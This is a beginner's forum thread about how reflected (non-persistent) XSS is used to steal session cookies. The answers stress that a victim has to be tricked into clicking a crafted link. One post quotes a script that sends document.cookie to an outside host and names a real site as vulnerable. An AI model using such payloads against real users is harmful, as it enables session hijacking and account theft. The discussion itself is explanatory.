[beginner] Non-Persistent XSS

[ibdwnm]

Hi,
I don't understand how to exploit non-persistent XSS; everywhere I read this cookie-logger thing, for example on this page:
http://hbay.netii.net/Webs.pdf
"In the next section we’ll talk about creating a cookie logger so we can steal session cookies and successfully get some user and/or admin privileges!"
But how is the user supposed to get his cookies logged? It isn't permanent, I can only get mine logged
It don't get how it can be possible in non-persistent XSS...
Thank you

[tucak]

You need to trick him to visit your link.

[ibdwnm]

But how am I supposed to trick someone using non-persisten XSS? I could tell him "go to that page, it's cool", but it has got nothing to do with XSS? GMX's registration page is vulnerable; but copying something like "<script>document.location="http://mypage.com/documents.php?c="+document.cookie;</script>"
is bull; it gets executed, but no is affected by it. What has the page being vulnerable to do with tricking someone?
I think I've got something funademental wrong...

[jgreen45]

I think that example might help, I remember someone came here to HTS and asked for people to pen test his site. When Goatboy inevitably 1337 h4x0red his website he found a non-persistent XXS exploit, and tricked (but for a good reason) the OP into clicking his link through social engineering, Goatboy got an admin cookie and alerted the OP, who then fixed the problem.

The post

[ibdwnm]

I get it, thanks

[Reason7194]

jgreen, I remember that. Goatboy, using his 1337 skillz, posted the pic's of 'himself' in the admin edit area and OP was like " O_O ". Being nice and all Goatboy told him how to fix and how he got into the admin area. Shit got cash in that thread.

[Goatboy]

Sawp.

[Reason7194]

Did you mean to write "herp" and "derp" in that link?

[Goatboy]

Very much so. Needed to make it look like I was just putting test values. I use herp and derp in place of foo and bar.

[Dwere134]

Very much so. Needed to make it look like I was just putting test values. I use herp and derp in place of foo and bar.

Why not fu and bar?
At any rate, does that cookie stealer steal only his cookies, or anyone who clicks on them?